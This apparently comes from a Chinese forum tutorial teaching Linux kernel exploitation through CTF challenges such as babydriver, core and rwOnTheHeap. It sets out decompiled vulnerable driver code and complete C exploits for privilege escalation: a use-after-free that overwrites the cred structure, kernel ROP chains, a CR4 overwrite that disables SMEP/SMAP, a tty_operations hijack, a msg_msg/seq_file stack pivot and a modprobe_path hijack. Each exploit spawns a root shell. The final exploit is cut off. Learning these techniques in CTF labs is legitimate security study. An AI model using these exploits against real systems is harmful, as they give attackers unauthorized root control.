Kernel PWN从入门到提升
本文为看雪论坛精华文章
看雪论坛作者ID:kotoriseed
介于本人在入门kernel pwn的时候觉得当前trick种类繁多,前置知识也多得吓人,有点不知所措,且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过,导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。
在开始看这篇文章之前,我希望小伙伴们已经掌握了kernel pwn一些最基本的操作,例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。
另外,如果在阅读的过程中发现任何问题,都欢迎来和我交流指正。
一
BASIC
environment
在学习kernel pwn之前,需要搭建好很多前置环境。
qemu busybox 编译linux内核(可选)
文件系统
find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio
cred结构体
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;
commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);
内核态函数
struct pt_regs {
/* ...................... */
/* Return frame for iretq */
unsigned long ip;
unsigned long cs;
unsigned long flags;
unsigned long sp;
unsigned long ss;
/* top of stack page */
};
gdb远程调试
./extract-vmlinux ./bzImage > ./vmlinux
add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
然后在boot.sh中添加以下参数:
pwndbg> target remote 127.0.0.1:1234
#!/bin/zsh
gcc \
./exp.c \
-o exp \
-masm=intel \
--static \
-g
chmod 777 ./exp
find . | cpio -o --format=newc > ./rootfs.cpio
chmod 777 ./rootfs.cpio
file ./vmlinux
target remote 127.0.0.1:1234
c
远程脚本
import sys
import os
from pwn import *
import string
context.log_level='debug'
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
p = remote('127.0.0.1', 1234)
def send_cmd(cmd):
sla('$ ', cmd)
def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
for i in range(0, len(encoded), 300):
lg.status('%d / %d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > bout')
send_cmd('chmod +x bout')
lg.success()
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()
p.interactive()
二
ATTACK
Kernel UAF
babydriver
分析
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
struct babydevice_t
{
char *device_buf;
size_t device_buf_len;
};
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}
gcc exp.c -o exp -static
exp
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<sys/wait.h>
#include<sys/stat.h>
int main(){
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int id = fork();
if(id<0){
printf("fork error!\n");
exit(-1);
}
else if(id==0){
char cred[0x20] = {0};
write(fd2, cred, 0x1c);
if(getuid()==0){
system("/bin/sh");
exit(0);
}
}
else{
wait(NULL);
}
return 0;
}
Kernel ROP
core
分析
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
cat /proc/kallsyms > /tmp/kallsyms
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
chown root:root /flag
chmod 400 /flag
cat /sys/module/core/sections/.text > /tmp/info
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
root@ubuntu:/home/kotori/Desktop/core# cat pack.sh
rm ./core.cpio
./gen_cpio.sh ./core.cpio
chmod 777 ./core.cpio
root@ubuntu:/home/kotori/Desktop/core# cat mkc.sh
gcc ./exp.c -o exp --static -masm=intel
chmod 777 ./exp
sudo ./pack.sh
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}
① 设置好off去读出canary的值。
② 布置好rop之后调用core_write将rop写入name中。
③ 调用core_copy_func,将name的内容写入栈上变量v2中,造成栈溢出,调用commit_creds(prepare_kernel_cred(0))提权。
size_t leak_vmlinux_base(){
FILE* fd = fopen("/tmp/kallsyms", "r");
if(fd==NULL){
puts("[-] open file failed.");
exit(-1);
}
char buf[0x40] = {0};
while(fgets(buf, 0x30, fd)!=NULL){
if(strstr(buf, "commit_creds")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &commit_creds);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
fclose(fd);
return commit_creds-0x9c8e0;
}
else if(strstr(buf, "prepare_kernel_cred")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &prepare_kernel_cred);
printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
fclose(fd);
return prepare_kernel_cred-0x9cce0;
}
}
fclose(fd);
return 0;
}
ropper --file ./vmlinux --nocolor > g
exp
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t u_cs, u_rflags, u_rsp, u_ss;
size_t commit_creds, prepare_kernel_cred;
void save_status(){
__asm__("mov u_cs, cs;"
"pushf;"
"pop u_rflags;"
"mov u_rsp, rsp;"
"mov u_ss, ss;"
);
}
void set_off(int fd, int offset){
ioctl(fd, 0x6677889c, offset);
}
size_t leak_canary(int fd){
size_t temp[0x10] = {0};
set_off(fd, 0x40);
ioctl(fd, 0x6677889b, temp);
return temp[0];
}
size_t leak_vmlinux_base(){
FILE* fd = fopen("/tmp/kallsyms", "r");
if(fd==NULL){
puts("[-] open file failed.");
exit(-1);
}
char buf[0x40] = {0};
while(fgets(buf, 0x30, fd)!=NULL){
if(strstr(buf, "commit_creds")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &commit_creds);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
fclose(fd);
return commit_creds-0x9c8e0;
}
else if(strstr(buf, "prepare_kernel_cred")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &prepare_kernel_cred);
printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
fclose(fd);
return prepare_kernel_cred-0x9cce0;
}
}
fclose(fd);
return 0;
}
void get_root_shell(){
if(getuid()==0)
system("/bin/sh");
else{
puts("[-] get root shell failed.");
exit(-1);
}
}
void rop(int fd, size_t canary, size_t offset){
size_t name[0x100] = {0};
//----gadgets----
size_t pop_rdi = 0xffffffff81000b2f; // pop rdi; ret;
size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; // mov rdi, rax; jmp rcx;
size_t pop_rcx = 0xffffffff81021e53; // pop rcx; ret;
size_t swapgs_popfq = 0xffffffff81a012da; // swapgs; popfq; ret;
size_t iretq = 0xffffffff81050ac2; // iretq; ret;
int idx = 0;
for(idx=0;idx<10;idx++)
name[idx] = canary;
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;
write(fd, name, 0x800);
puts("[+] rop loaded.");
ioctl(fd, 0x6677889a, (0xffffffffffff0100));
}
int main(){
save_status();
int fd = open("/proc/core", O_RDWR);
size_t canary = leak_canary(fd);
printf("[+] canary: 0x%lx\n", canary);
size_t vmlinux_base = leak_vmlinux_base();
if(!vmlinux_base){
printf("[-] leak base failed.\n");
exit(-1);
}
size_t vmlinux_base_no_pie = 0xffffffff81000000;
size_t offset = vmlinux_base - vmlinux_base_no_pie;
printf("[+] offset: 0x%lx\n", offset);
rop(fd, canary, offset);
return 0;
}
SMEP & ret2usr
再看core
void get_root(){
void* (*cc)(char *) = commit_creds;
char* (*pkc)(int) = prepare_kernel_cred;
(*cc)((*pkc)(0)); // commit_creds(prepare_kernel_cred(0));
}
修改rop
for(idx=0;idx<10;idx++)
name[idx] = canary;
/*
name[idx++] = pop_rdi + offset;
name[idx++] = 0;
name[idx++] = prepare_kernel_cred;
name[idx++] = pop_rcx + offset;
name[idx++] = commit_creds;
name[idx++] = mov_rdi_rax_jmp_rcx + offset;
*/
name[idx++] = (size_t)get_root;
name[idx++] = swapgs_popfq + offset;
name[idx++] = 0;
name[idx++] = iretq + offset;
name[idx++] = (size_t)get_root_shell; //rip
name[idx++] = u_cs;
name[idx++] = u_rflags;
name[idx++] = u_rsp;
name[idx++] = u_ss;
SMEP & SMAP
Introduction
Bypass
REsolve: babydriver (hijack tty_operation + ret2usr)
分析
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
size_t fake_tty_operation[0x20] = {
0xffffffff00000000,
0xffffffff00000001,
0xffffffff00000002,
0xffffffff00000003,
0xffffffff00000004,
0xffffffff00000005,
0xffffffff00000006,
0xffffffff00000007,
0xffffffff00000008,
0xffffffff00000009,
0xffffffff0000000a,
0xffffffff0000000b,
0xffffffff0000000c
};
0xffffffff8181bfc5: mov rsp, rax; dec ebx; jmp 0xffffffff8181bf7e;
0xffffffff8181bf7e: ret;
exp
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status(){
__asm__("mov usr_cs, cs;"
"pushf;"
"pop usr_rflags;"
"mov usr_rsp, rsp;"
"mov usr_ss, ss;"
);
}
void get_root(){
char* (*pkc)(int) = 0xffffffff810a1810; // prepare_kernel_cred;
void* (*cc)(char*) = 0xffffffff810a1420; // commit_creds;
(*cc)((*pkc)(0));
}
void get_root_shell(){
if(getuid()!=0){
puts("[-] get root failed.");
exit(-1);
}
system("/bin/sh");
}
int main(){
save_status();
signal(11, (size_t)get_root_shell);
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1); // uaf
size_t rop[0x30] = {0};
int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0; // bypass smep
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root; // ret2usr
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_root_shell; // rip
rop[i++] = usr_cs;
rop[i++] = usr_rflags;
rop[i++] = usr_rsp;
rop[i++] = usr_ss;
int fd3 = open("/dev/ptmx", O_RDWR|O_NOCTTY);
size_t fake_tty_operation[0x20] = {
0xffffffff00000000,
0xffffffff00000001,
0xffffffff00000002,
0xffffffff00000003,
0xffffffff00000004,
0xffffffff00000005,
0xffffffff00000006,
0xffffffff00000007,
0xffffffff00000008,
0xffffffff00000009,
0xffffffff0000000a,
0xffffffff0000000b,
0xffffffff0000000c
};
/*
fake_tty_operation[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operation[1] = rop[0];
for(int j=2;j<5;j++)
fake_tty_operation[j] = 0xffffffff8100ce6f; // ret;
fake_tty_operation[5] = 0xffffffff8105c144; // pop rbx; ret;
fake_tty_operation[6] = 0xffff880006f31c00;
*/
for(int j=0;j<5;j++)
fake_tty_operation[j] = rop[j];
fake_tty_operation[5] = 0xffffffff8100ce6f; // ret;
for(int j=6;j<14;j++)
fake_tty_operation[j] = rop[j-1];
fake_tty_operation[7] = 0xffffffff8181bfc5; // mov rsp, rax; dec ebx; ret;
size_t fake_tty_struct[4] = {0};
read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operation; // hijack *ops
write(fd2, fake_tty_struct, 32);
char buf[0x10] = {0};
write(fd3, buf, 0x8); // tty_operation -> write
return 0;
}
RE: REsolve: babydriver (msg_msg + seq_file + pt_regs + ret2usr)
分析
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-append 'console=ttyS0 root=/dev/ram nopti oops=panic panic=1' \
-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep,+smap \
-no-reboot \
-s
利用本题漏洞,造一个0x1000大小的uaf,开一个0x1100的msg_msg结构体(前0x1000的msg_msg内容任意,后面挂着的0x100的msg_msgseg用于布置rop),利用uaf leak出msg_msg中指向msg_msgseg的指针,得到rop地址。
再造一个0x18大小的uaf,打开/proc/self/stat创建出seq_file,uaf捕获到seq_operations。这样就能利用read(seq_fd, $rsp, 8)触发seq_operations->start指针的任意执行了。
先使用add rsp, val这类gadgets来让rsp走到pt_regs中,从而再利用pop rsp; ret这样的gadget实现栈迁移。(由于没有找到合适的一次性把rsp add到pt_regs的gadget,所以在exp使用了二段跳)
exp
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>
#include <errno.h>
int dev_fd[2], seq_fd;
const char *dev_name = "/dev/babydev";
size_t commit_creds = 0xffffffff810a1420;
size_t prepare_kernel_cred = 0xffffffff810a1810;
size_t rop_addr;
size_t usr_cs, usr_rflags, usr_rsp, usr_ss;
void save_status()
{
__asm__(
"mov usr_cs, cs;"
"pushf;"
"pop usr_rflags;"
"mov usr_rsp, rsp;"
"mov usr_ss, ss;"
);
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void* (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}
void get_root_shell()
{
if (getuid()!=0) {
puts("[-] get root failed.");
exit(-1);
}
system("/bin/sh");
}
void build_rop(size_t *rop, int offset)
{
int i = offset;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0; // bypass smep&smap
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root; // ret2usr
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = ((size_t)&i);
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_root_shell; // rip
rop[i++] = usr_cs;
rop[i++] = usr_rflags;
rop[i++] = usr_rsp;
rop[i++] = usr_ss;
}
int getMsgQueue(void)
{
return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}
int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz, msgtyp, IPC_NOWAIT|MSG_NOERROR);
}
int writeMsg(int msqid, void *msgp, size_t msgsz)
{
return msgsnd(msqid, msgp, msgsz, 0);
}
int main()
{
save_status();
signal(11, (size_t)get_root_shell);
int qid = getMsgQueue();
if (qid == -1) {
fprintf(stderr, "[-] msg_queue\n");
exit(-1);
}
dev_fd[0] = open(dev_name, O_RDWR);
if (dev_fd[0] == -1) {
fprintf(stderr, "[-] open %s failed.(1)\n", dev_name);
exit(-1);
}
dev_fd[1] = open(dev_name, O_RDWR);
if (dev_fd[1] == -1) {
fprintf(stderr, "[-] open %s failed.(2)\n", dev_name);
exit(-1);
}
char *buffer_send = malloc(0x4000);
char *buffer_recv = malloc(0x4000);
memset(buffer_send, 0x61, 0x4000);
build_rop((size_t *)buffer_send, ((0x1000-0x30)>>3)+1);
ioctl(dev_fd[0], 0x10001, 0x1000);
close(dev_fd[0]);
int cnt = 1;
for (int i = 0; i < cnt; ++i) {
if (writeMsg(qid, buffer_send, 0x1100-0x38) < 0)
fprintf(stderr, "[-] msg_msg\n");
else
puts("[+] msg_msg\n");
}
read(dev_fd[1], buffer_recv, 0x40);
puts("\nPartial leak:");
for (int i = 0; i < 8; ) {
printf("[+] %016lx %016lx\n", ((size_t *)buffer_recv)[i], ((size_t *)buffer_recv)[i+1]);
i += 2;
}
rop_addr = ((size_t *)buffer_recv)[4] + 0x8;
printf("[+] rop_addr: 0x%lx\n", rop_addr);
printf("[+] buffer_send: 0x%lx\n", buffer_send);
dev_fd[0] = open(dev_name, O_RDWR);
if (dev_fd[0] == -1) {
fprintf(stderr, "[-] open %s failed.(3)\n", dev_name);
exit(-1);
}
ioctl(dev_fd[0], 0x10001, 0x18);
close(dev_fd[0]);
seq_fd = open("/proc/self/stat", O_RDONLY);
if (seq_fd == -1) {
puts("[-] failed in opening seq_fd.");
exit(-1);
}
// getchar();
size_t ptr = 0xffffffff8151a3a5; // add rsp, 0x148; pop rbx; pop r12; pop r13; pop rbp; ret;
write(dev_fd[1], (char *)&ptr, 0x8);
__asm__(
"mov r15, 0xffffffff8100006f;" // ret;
"mov r14, 0xffffffff81183478;" // add rsp, 0x40; pop rbx; pop rbp; ret;
"mov r13, 0xffffffff8100006f;"
"mov r12, 0xffffffff8100006f;"
"mov rbp, 0xffffffff8100006f;"
"mov rbx, 0xffffffff8100006f;"
"mov r11, 0xffffffff8100006f;"
"mov r10, 0xffffffff8100006f;"
"mov r9, 0xffffffff81171045;" // pop rsp; ret;
"mov r8, rop_addr;"
"xor rax, rax;"
"xor rdi, rdi;"
"mov rcx, 0xdeadbeef;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall" // read(seq_fd, $rsp, 8);
);
// getchar();
return 0;
}
Hijack modprobe_path
system("echo -ne '\\xff\\xff\\xff\\xff' >> /tmp/dummy");
system("echo '#!/bin/sh\nchmod 777 /flag' >> /tmp/a.sh");
system("chmod 777 /tmp/dummy; chmod 777 /tmp/a.sh");
system("/tmp/dummy");
rwOnTheHeap
分析
__int64 procfile_open()
{
_QWORD *v0; // rax
_fentry__();
v0 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[10], 3264LL, 1024LL);
*v0 = v0;
procfs_buffer = (__int64)v0;
return _x86_return_thunk(0LL, 0LL, 0LL);
}
__int64 __fastcall procfile_write(__int64 a1, __int64 a2)
{
_fentry__();
if ( !copy_from_user(&request_t, a2, 16LL) )
*(_QWORD *)(procfs_buffer + *(&request_t + 1)) = request_t;
return _x86_return_thunk(0LL, 0LL, 0LL);
}
__int64 __fastcall procfile_read(__int64 a1, __int64 a2)
{
_fentry__();
if ( !copy_from_user(&request_t, a2, 16LL) )
{
request_t = *(_QWORD *)(procfs_buffer + *(&request_t + 1));
copy_to_user(a2, &request_t, 16LL);
}
return _x86_return_thunk(0LL, 0LL, 0LL);
}
构造若干个msg_msg和msg_msgseg,在一个msg_queue上挂着0x400的msg_msg,指向0x1000的msg_msg,再指向0x20的msg_msgseg。然后再开一个shm_file_data(0x20)。
通过越界读,在procfs_buffer附近4个内存页中搜索0x400的msg_msg,从他的双链表找到0x1000的msg_msg的位置,再通过0x1000的msg_msg leak出0x20的msg_msgseg的地址。
这时就又能通过越界读,在0x20的msg_msgseg附近的3个内存页中搜索到shm_file_data,从而得到kernel的text段地址,计算出modprobe_path的位置,达成利用。
exp
#include <unistd.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/syscall.h>
size_t buf[2];
int fd1, fd2;
void read_from_heap(int fd, size_t offset) {
buf[1] = offset;
read(fd, buf, 0x10);
}
void write_to_heap(int fd, size_t value, size_t offset) {
buf[0] = value;
buf[1] = offset;
write(fd, buf, offset);
}
int main() {
fd1 = open("/proc/vuln", O_RDWR);
if(fd1 == -1) {
printf("[-] open device error.\n");
exit(-1);
}
printf("[+] fd: %d\n", fd1);
